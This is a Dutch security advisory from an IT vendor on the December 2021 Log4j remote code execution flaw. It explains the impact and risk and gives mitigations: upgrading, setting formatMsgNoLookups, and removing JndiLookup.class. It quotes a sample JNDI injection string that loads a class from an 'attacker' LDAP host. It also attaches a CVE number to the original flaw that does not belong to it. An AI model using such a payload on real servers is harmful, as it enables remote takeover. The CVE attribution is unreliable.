Kwetsbaarheid Java Library Log4j

Je hebt het vast al ergens gelezen… Vrijdag 10 december 2021 is er een Proof-of-Concept [1] uitgebracht voor een Remote Code Execution (RCE) kwetsbaarheid in de Java Library Log4j [2]. Inmiddels is er een CVE-nummer bekend voor deze kwetsbaarheid, CVE-2021-45046 [3].

Hieronder lees je wat de dreiging inhoudt, en hoe deze te mitigeren is.

Wat houdt de Log4j kwetsbaarheid in?

Door de kwetsbaarheid in de populaire Java Library Log4j (in veel Java-applicaties gebruikt voor logging), kunnen kwaadwillenden direct code binnen het Java-proces uitvoeren. Door invoer in een beschikbaar invoerveld of via een speciaal HTTP-request kan de aanvaller de kwetsbaarheid uitbuiten. Een voorbeeld van een invoer die deze kwetsbaarheid triggert is "${jndi:ldap://attacker:443/evil.class". Wanneer deze input wordt gelogd met behulp van Log4j, wordt een bestand opgehaald van de server van de aanvaller. De opgehaalde gegevens kunnen vervolgens door het Java-proces worden uitgevoerd.

Impact van de Log4j kwetsbaarheid is hoog

Duizenden applicaties van talloze softwareontwikkelaars maken gebruik van de Java Library Log4j. Wanneer het een aanvaller lukt de kwetsbaarheid succesvol uit te buiten, kan deze willekeurige code uitvoeren en zo de server waar de applicatie op draait overnemen. Dit kan op afstand zonder ingelogd te zijn. Vanaf de server kan de aanvaller zichzelf vervolgens toegang verschaffen tot de rest van het netwerk. Om deze reden schatten wij de impact van deze kwetsbaarheid in als hoog.

Risico van de Log4j kwetsbaarheid is hoog

De kwetsbare code bevindt zich in een Library die door veel grote softwarepakketten wordt gebruikt, waaronder ook webservers. Omdat deze veelal direct aan het internet verbonden zijn, is het voor een aanvaller makkelijk een kwetsbare server te benaderen en aan te vallen. We schatten daarom het risico op dit moment in als hoog.

Overzicht leveranciers en applicaties die geraakt zijn

Deze dreiging raakt zoveel applicaties en leveranciers dat het Nationaal Cyber Security Centrum centraal een lijst bijhoudt van (met name) IT-leveranciers en applicaties die (mogelijk) geraakt zijn. Je vindt de lijst hier. Deze lijst wordt regelmatig geactualiseerd; we raden je aan om hem regelmatig te checken.

Let op: meerdere AV-leveranciers van BIS|Econocom staan niet in het NCSC overzicht. Op deze webpagina zetten wij ze op een rij, inclusief communicatie/instructie om de kwetsbaarheid op te heffen.

Wat kun je doen om het risico te mitigeren?

Er is inmiddels een nieuwe versie van log4j (versie 2.17) beschikbaar [4]. Als je applicaties hebt gebouwd die Log4j bevatten, raden wij je ten zeerste aan de Library in deze applicaties direct te upgraden. Wij adviseren je om na de update regelmatig te checken of er inmiddels een update 2.18 (of hoger) is en vervolgens deze update te installeren. Gebruik je externe applicaties die de Library bevatten, dan verwijzen wij je naar de betreffende softwareleverancier en/of hardware producent (zie ook vorige alinea).

Mochten er nog geen updates zijn, kies dan een van deze twee alternatieven:

• Een tijdelijke mitigatie door in de configuratie van log4j de volgende variabele toe te voegen aan de Java Virtual Machine (log4j versie 2.10.0 of hoger): log4j.formatMsgNoLookups=true
• De Class "JndiLookup" uit de Java Classpath verwijderen. (Bijvoorbeeld: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class )

Een uitgebreid stappenplan met tips en suggesties vind je op de website van het Nationaal Cyber Security Centrum. Zeker de moeite van het bekijken waard!

Hulp nodig?

Heb je hulp nodig bij de update/upgrade van je applicatie(s)? Neem dan contact met ons op via het formulier op deze webpagina. Hier kun je ook aangeven of je gebruik wilt maken van de check waarmee we testen of de kwetsbaarheid zich binnen jouw omgeving bevindt.

Bel of mail je liever? Dat kan ook: 0180 – 486 777 of support@bis.nl.

Bronnen
[1]: https://github.com/tangxiaofeng7/apache-log4j-poc
[2]: https://logging.apache.org/log4j/2.x/
[3]: https://logging.apache.org/log4j/2.x/security.html
[4]: https://logging.apache.org/log4j/2.x/download.html